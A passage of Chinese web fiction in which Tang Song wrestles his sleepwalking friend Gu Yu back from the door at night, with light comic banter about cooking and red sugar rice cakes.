没想到顾渝闻言好像更伤心了,他连忙保证道:“是我应该的,我自愿的,我开心的。” 唐松不忍直视,低呼造孽,他心中默念n遍南无阿弥陀佛,决定给自己小小赎个罪:“不然今天,我下厨?” 顾渝:“……那还是不用了。” * 顾渝最近非常不对劲。 自从考完试之后,顾渝的状态时而如同丢失了七魂六魄,梦游的次数指数型增高,甚至还出现了差点在睡梦里开门的危险举动,唐松听到声音的时候,顾渝半只脚已经踏出了门外,他吓得够呛,又不敢叫醒他,只能在半夜抱着他的腰一边往里拖一边小声咒骂:“你特么盘羊啊还往外跑。” 顾渝在睡梦中的力气特别大,一个劲儿地向往门外走,嘴里赫赫有词:“我去买红糖糍粑。” 唐松:“咱白天去买不成吗,大半夜的也只有阴曹地府开门了。” 说完了这话自己倒吓得不行,再一抬头,顾渝睁着无神的眼睛直勾勾地盯着他。 吓得他毛骨悚然。 简直让人胆战心惊。